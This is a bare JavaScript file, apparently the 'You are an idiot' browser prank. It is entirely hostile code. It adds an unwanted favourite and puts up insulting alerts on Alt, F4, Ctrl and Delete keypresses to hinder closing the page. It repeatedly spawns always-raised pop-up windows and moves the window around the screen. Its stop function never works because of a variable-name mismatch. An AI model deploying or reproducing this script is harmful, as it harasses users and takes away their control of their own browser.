function bookmark() { if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) { var url="idiot.html"; var title="Idiot!"; window.external.AddFavorite(url,title); } } function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); } function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); } function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); } var xOff = 5; var yOff = 5; var xPos = 400; var yPos = -100; var flagRun = 1; function openWindow(url){ aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=180titlebar=no,alwaysRaised=yes'); } function procreate(){ openWindow('lol.html'); openWindow('lol.html'); openWindow('lol.html'); openWindow('lol.html'); openWindow('lol.html'); openWindow('lol.html'); } function newXlt(){ xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ; window.focus()} function newXrt(){ xOff = Math.ceil(7 * Math.random()) * 5 - 10 ; } function newYup(){ yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ; } function newYdn(){ yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ; } function fOff(){ flagrun = 0; } function playBall(){ xPos += xOff; yPos += yOff; if (xPos > screen.width-175){ newXlt(); } if (xPos < 0){ newXrt(); } if (yPos > screen.height-100){ newYup(); } if (yPos < 0){ newYdn(); } if (flagRun == 1){ window.moveTo(xPos,yPos); setTimeout('playBall()',1); } }